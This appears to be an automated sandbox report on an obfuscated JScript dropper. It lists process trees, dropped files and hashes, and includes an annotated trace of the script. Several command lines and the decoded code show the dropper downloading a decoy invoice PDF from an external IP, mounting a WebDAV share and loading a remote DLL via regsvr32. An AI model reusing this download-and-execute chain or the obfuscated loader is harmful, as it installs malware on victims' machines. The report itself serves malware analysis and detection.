SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\edc51c4f-5f70-4d7e-b602-8331a67c52ca.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:
Entropy (8bit):	4.917674473247522
TrID:
File name:	2784527361260704938.js
File size:	20'974 bytes
MD5:	a85001e7fa8ed3bdd831341a23107dbd
SHA1:	8201d374c9a4a73199f9a89d3f523c1e596d5a6c
SHA256:	0a7ab5260c46a07d69c834ca96c864c10d202f8d2de65cf1cd550c8fbfa10975
SHA512:	ca5b4cf5e1078fda60bb2b8e6da609a5ba2aef2a4b6cd702aef4301839ea97b27b4f276d0763fec39cf1cd99e98c60955ecb2da4ad89d5bab1121c8d151fc52d
SSDEEP:	384:5W1VonbpaszmSXt9aWDL8po1L+jXoMVLfcAErDMUZxknYud1m+:nnbocAYVZxknY3+
TLSH:	789296DCD158C719C9E800E6F28F46869B74D3E46A540055C243E6AF37AABE77BD20F8
File Content Preview:	function qtgguxq(){vgzvxvlk=[1031,3079,5127,4103,2055,3072];var curhopukt=this[ddkwgncgs+tfpdf+eipbamap+ycqhoekcu+dwnmsquu+txawvjl+asxnfsfmg+gdsecm](this[hltslqc+bosllipt+ttlbf+eipbamap+ngwuxk+ddkwgncgs+gdsecm][olifk+eipbamap+dwnmsquu+tfpdf+gdsecm+dwnmsqu

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	02:43:56
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2784527361260704938.js"
Imagebase:	0x7ff76e1f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:43:56
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll
Imagebase:	0x7ff7e57f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:43:56
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:43:56
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:44:00
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	02:44:00
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7e57f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:44:00
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6872a0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:44:01
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:44:01
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	02:44:02
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2232 --field-trial-handle=1528,i,11530801565310613481,17627774388203881396,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function qtgguxq() {	qtgguxq() ➔ undefined
1	vgzvxvlk = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var curhopukt = this[ddkwgncgs + tfpdf + eipbamap + ycqhoekcu + dwnmsquu + txawvjl + asxnfsfmg + gdsecm] ( this[hltslqc + bosllipt + ttlbf + eipbamap + ngwuxk + ddkwgncgs + gdsecm][olifk + eipbamap + dwnmsquu + tfpdf + gdsecm + dwnmsquu + xakaqtck + uhxdmmkaa + vxgibf + dwnmsquu + ttlbf + gdsecm] ( hltslqc + bosllipt + ttlbf + eipbamap + ngwuxk + ddkwgncgs + gdsecm + mmuwrh + bosllipt + dfolvqaod + dwnmsquu + dvnpnv + dvnpnv ) [xktvhiez + dwnmsquu + ooczmlpt + xktvhiez + dwnmsquu + tfpdf + fzwapxmkg] ( pvgdlydeu + kvqszea + yfewbzltm + mqcekhe + kjzcvkv + olifk + hdxkkvpns + xktvhiez + xktvhiez + yfewbzltm + yewulusmi + vyzsgieuf + kjzcvkv + hdxkkvpns + bosllipt + yfewbzltm + xktvhiez + iprbln + olifk + pqhzpctg + asxnfsfmg + gdsecm + eipbamap + pqhzpctg + dvnpnv + tytgkmnt + zusbzf + tfpdf + asxnfsfmg + dwnmsquu + dvnpnv + iprbln + txawvjl + asxnfsfmg + gdsecm + dwnmsquu + eipbamap + asxnfsfmg + tfpdf + gdsecm + ngwuxk + pqhzpctg + asxnfsfmg + tfpdf + dvnpnv + iprbln + ofuwurl + pqhzpctg + ttlbf + tfpdf + dvnpnv + dwnmsquu ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jheqzg = 0 ; jheqzg < vgzvxvlk[dvnpnv + dwnmsquu + asxnfsfmg + ooczmlpt + gdsecm + dfolvqaod] ; ++ jheqzg )
4	{
5	if ( curhopukt == vgzvxvlk[jheqzg] )
6	{
7	curhopukt = true;
8	break ;
9	}
10	}
11	if ( curhopukt !== true )
12	this[hltslqc + bosllipt + ttlbf + eipbamap + ngwuxk + ddkwgncgs + gdsecm][huwnblo + yqaqejm + ngwuxk + gdsecm] ( );
13	this[hltslqc + bosllipt + ttlbf + eipbamap + ngwuxk + ddkwgncgs + gdsecm][olifk + eipbamap + dwnmsquu + tfpdf + gdsecm + dwnmsquu + xakaqtck + uhxdmmkaa + vxgibf + dwnmsquu + ttlbf + gdsecm] ( hltslqc + bosllipt + ttlbf + eipbamap + ngwuxk + ddkwgncgs + gdsecm + mmuwrh + bosllipt + dfolvqaod + dwnmsquu + dvnpnv + dvnpnv ) [eipbamap + yqaqejm + asxnfsfmg] ( ttlbf + dunta + fzwapxmkg + tytgkmnt + amgzougnl + ttlbf + tytgkmnt + ddkwgncgs + pqhzpctg + cbehektsj + dwnmsquu + eipbamap + ycqhoekcu + dfolvqaod + dwnmsquu + dvnpnv + dvnpnv + mmuwrh + dwnmsquu + scrrafpc + dwnmsquu + tytgkmnt + jxkyhvhf + olifk + pqhzpctg + dunta + dunta + tfpdf + asxnfsfmg + fzwapxmkg + tytgkmnt + pasmf + txawvjl + asxnfsfmg + axemrxrra + pqhzpctg + aluxaylq + dwnmsquu + jxkyhvhf + hltslqc + dwnmsquu + uhxdmmkaa + xktvhiez + dwnmsquu + jppzdzv + yqaqejm + dwnmsquu + ycqhoekcu + gdsecm + tytgkmnt + jxkyhvhf + xakaqtck + yqaqejm + gdsecm + pesufiox + ngwuxk + dvnpnv + dwnmsquu + tytgkmnt + lchras + gdsecm + dwnmsquu + dunta + ddkwgncgs + lchras + iprbln + ngwuxk + asxnfsfmg + axemrxrra + pqhzpctg + ngwuxk + ttlbf + dwnmsquu + mmuwrh + ddkwgncgs + fzwapxmkg + sgyhdhem + tytgkmnt + dfolvqaod + gdsecm + gdsecm + ddkwgncgs + llssnbeis + amgzougnl + amgzougnl + qbpvzniaz + rdwzdvmd + iygiwqebb + mmuwrh + qbpvzniaz + lpkynoadv + iygiwqebb + mmuwrh + qbpvzniaz + mmuwrh + yeojplmn + lsguxa + fghzgiml + amgzougnl + ngwuxk + asxnfsfmg + axemrxrra + pqhzpctg + ngwuxk + ttlbf + dwnmsquu + mmuwrh + ddkwgncgs + dfolvqaod + ddkwgncgs + pasmf + zlzqnjinp + zlzqnjinp + ycqhoekcu + gdsecm + tfpdf + eipbamap + gdsecm + tytgkmnt + lchras + gdsecm + dwnmsquu + dunta + ddkwgncgs + lchras + iprbln + ngwuxk + asxnfsfmg + axemrxrra + pqhzpctg + ngwuxk + ttlbf + dwnmsquu + mmuwrh + ddkwgncgs + fzwapxmkg + sgyhdhem + zlzqnjinp + zlzqnjinp + ttlbf + dunta + fzwapxmkg + tytgkmnt + amgzougnl + ttlbf + tytgkmnt + asxnfsfmg + dwnmsquu + gdsecm + tytgkmnt + yqaqejm + ycqhoekcu + dwnmsquu + tytgkmnt + iprbln + iprbln + qbpvzniaz + rdwzdvmd + iygiwqebb + mmuwrh + qbpvzniaz + lpkynoadv + iygiwqebb + mmuwrh + qbpvzniaz + mmuwrh + yeojplmn + lsguxa + fghzgiml + sjsupyngu + ktdxbjfe + ktdxbjfe + ktdxbjfe + ktdxbjfe + iprbln + fzwapxmkg + tfpdf + axemrxrra + cbehektsj + cbehektsj + cbehektsj + eipbamap + pqhzpctg + pqhzpctg + gdsecm + iprbln + zlzqnjinp + zlzqnjinp + ttlbf + dunta + fzwapxmkg + tytgkmnt + amgzougnl + ttlbf + tytgkmnt + eipbamap + dwnmsquu + ooczmlpt + ycqhoekcu + axemrxrra + eipbamap + iygiwqebb + yeojplmn + tytgkmnt + amgzougnl + ycqhoekcu + tytgkmnt + iprbln + iprbln + qbpvzniaz + rdwzdvmd + iygiwqebb + mmuwrh + qbpvzniaz + lpkynoadv + iygiwqebb + mmuwrh + qbpvzniaz + mmuwrh + yeojplmn + lsguxa + fghzgiml + sjsupyngu + ktdxbjfe + ktdxbjfe + ktdxbjfe + ktdxbjfe + iprbln + fzwapxmkg + tfpdf + axemrxrra + cbehektsj + cbehektsj + cbehektsj + eipbamap + pqhzpctg + pqhzpctg + gdsecm + iprbln + yeojplmn + lsguxa + fghzgiml + ktdxbjfe + rdwzdvmd + yeojplmn + ktdxbjfe + lsguxa + yeojplmn + iygiwqebb + qbpvzniaz + kbnhwpx + fghzgiml + lsguxa + rdwzdvmd + mmuwrh + fzwapxmkg + dvnpnv + dvnpnv, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll",0,false) ➔ 0
14	}
15	vxgibf = "t";
16	vxgibf = "V";
17	vxgibf = "h";
18	vxgibf = "G";
19	vxgibf = "r";
20	vxgibf = "K";
21	vxgibf = "Q";
22	vxgibf = "G";
23	vxgibf = "F";
24	vxgibf = "r";
25	vxgibf = "F";
26	vxgibf = "c";
27	vxgibf = "Y";
28	vxgibf = "V";
29	vxgibf = "J";
30	vxgibf = "y";
31	vxgibf = "f";
32	vxgibf = "Y";
33	vxgibf = "U";
34	vxgibf = "n";
35	vxgibf = "C";
36	vxgibf = "B";
37	vxgibf = "i";
38	vxgibf = "j";
39	hdxkkvpns = "j";
40	hdxkkvpns = "a";
41	hdxkkvpns = "C";
42	hdxkkvpns = "H";
43	hdxkkvpns = "j";
44	hdxkkvpns = "Z";
45	hdxkkvpns = "W";
46	hdxkkvpns = "F";
47	hdxkkvpns = "E";
48	hdxkkvpns = "o";
49	hdxkkvpns = "s";
50	hdxkkvpns = "h";
51	hdxkkvpns = "c";
52	hdxkkvpns = "r";
53	hdxkkvpns = "U";
54	tfpdf = "L";
55	tfpdf = "c";
56	tfpdf = "O";
57	tfpdf = "v";
58	tfpdf = "p";
59	tfpdf = "H";
60	tfpdf = "m";
61	tfpdf = "r";
62	tfpdf = "E";
63	tfpdf = "i";
64	tfpdf = "t";
65	tfpdf = "a";
66	tfpdf = "P";
67	tfpdf = "b";
68	tfpdf = "m";
69	tfpdf = "y";
70	tfpdf = "g";
71	tfpdf = "l";
72	tfpdf = "a";
73	pvgdlydeu = "M";
74	pvgdlydeu = "H";
75	ofuwurl = "L";
76	xakaqtck = "S";
77	xakaqtck = "j";
78	xakaqtck = "r";
79	xakaqtck = "U";
80	xakaqtck = "t";
81	xakaqtck = "O";
82	xakaqtck = "U";
83	xakaqtck = "u";
84	xakaqtck = "A";
85	xakaqtck = "W";
86	xakaqtck = "A";
87	xakaqtck = "g";
88	xakaqtck = "e";
89	xakaqtck = "M";
90	xakaqtck = "M";
91	xakaqtck = "R";
92	xakaqtck = "v";
93	xakaqtck = "j";
94	xakaqtck = "O";
95	xakaqtck = "u";
96	xakaqtck = "Y";
97	xakaqtck = "G";
98	xakaqtck = "p";
99	xakaqtck = "t";
100	xakaqtck = "g";
101	xakaqtck = "d";
102	xakaqtck = "f";
103	xakaqtck = "Z";
104	xakaqtck = "D";
105	xakaqtck = "O";
106	jppzdzv = "M";
107	jppzdzv = "k";
108	jppzdzv = "g";
109	jppzdzv = "v";
110	jppzdzv = "F";
111	jppzdzv = "G";
112	jppzdzv = "u";
113	jppzdzv = "v";
114	jppzdzv = "A";
115	jppzdzv = "R";
116	jppzdzv = "H";
117	jppzdzv = "N";
118	jppzdzv = "E";
119	jppzdzv = "x";
120	jppzdzv = "t";
121	jppzdzv = "c";
122	jppzdzv = "A";
123	jppzdzv = "d";
124	jppzdzv = "H";
125	jppzdzv = "P";
126	jppzdzv = "o";
127	jppzdzv = "q";
128	jppzdzv = "K";
129	jppzdzv = "h";
130	jppzdzv = "w";
131	jppzdzv = "Q";
132	jppzdzv = "H";
133	jppzdzv = "E";
134	jppzdzv = "T";
135	jppzdzv = "Z";
136	jppzdzv = "Z";
137	jppzdzv = "h";
138	jppzdzv = "a";
139	jppzdzv = "u";
140	jppzdzv = "Q";
141	jppzdzv = "Z";
142	jppzdzv = "R";
143	jppzdzv = "h";
144	jppzdzv = "R";
145	jppzdzv = "F";
146	jppzdzv = "w";
147	jppzdzv = "C";
148	jppzdzv = "q";
149	qbpvzniaz = "y";
150	qbpvzniaz = "c";
151	qbpvzniaz = "t";
152	qbpvzniaz = "s";
153	qbpvzniaz = "x";
154	qbpvzniaz = "p";
155	qbpvzniaz = "O";
156	qbpvzniaz = "T";
157	qbpvzniaz = "C";
158	qbpvzniaz = "C";
159	qbpvzniaz = "U";
160	qbpvzniaz = "t";
161	qbpvzniaz = "D";
162	qbpvzniaz = "g";
163	qbpvzniaz = "H";
164	qbpvzniaz = "k";
165	qbpvzniaz = "w";
166	qbpvzniaz = "d";
167	qbpvzniaz = "r";
168	qbpvzniaz = "x";
169	qbpvzniaz = "n";
170	qbpvzniaz = "r";
171	qbpvzniaz = "X";
172	qbpvzniaz = "l";
173	qbpvzniaz = "b";
174	qbpvzniaz = "V";
175	qbpvzniaz = "n";
176	qbpvzniaz = "H";
177	qbpvzniaz = "P";
178	qbpvzniaz = "l";
179	qbpvzniaz = "c";
180	qbpvzniaz = "f";
181	qbpvzniaz = "g";
182	qbpvzniaz = "v";
183	qbpvzniaz = "j";
184	qbpvzniaz = "u";
185	qbpvzniaz = "k";
186	qbpvzniaz = "E";
187	qbpvzniaz = "x";
188	qbpvzniaz = "F";
189	qbpvzniaz = "H";
190	qbpvzniaz = "1";
191	kvqszea = "v";
192	kvqszea = "u";
193	kvqszea = "H";
194	kvqszea = "k";
195	kvqszea = "k";
196	kvqszea = "a";
197	kvqszea = "T";
198	kvqszea = "e";
199	kvqszea = "B";
200	kvqszea = "z";
201	kvqszea = "m";
202	kvqszea = "Z";
203	kvqszea = "R";
204	kvqszea = "o";
205	kvqszea = "x";
206	kvqszea = "V";
207	kvqszea = "K";
208	kvqszea = "K";
209	kvqszea = "s";
210	kvqszea = "V";
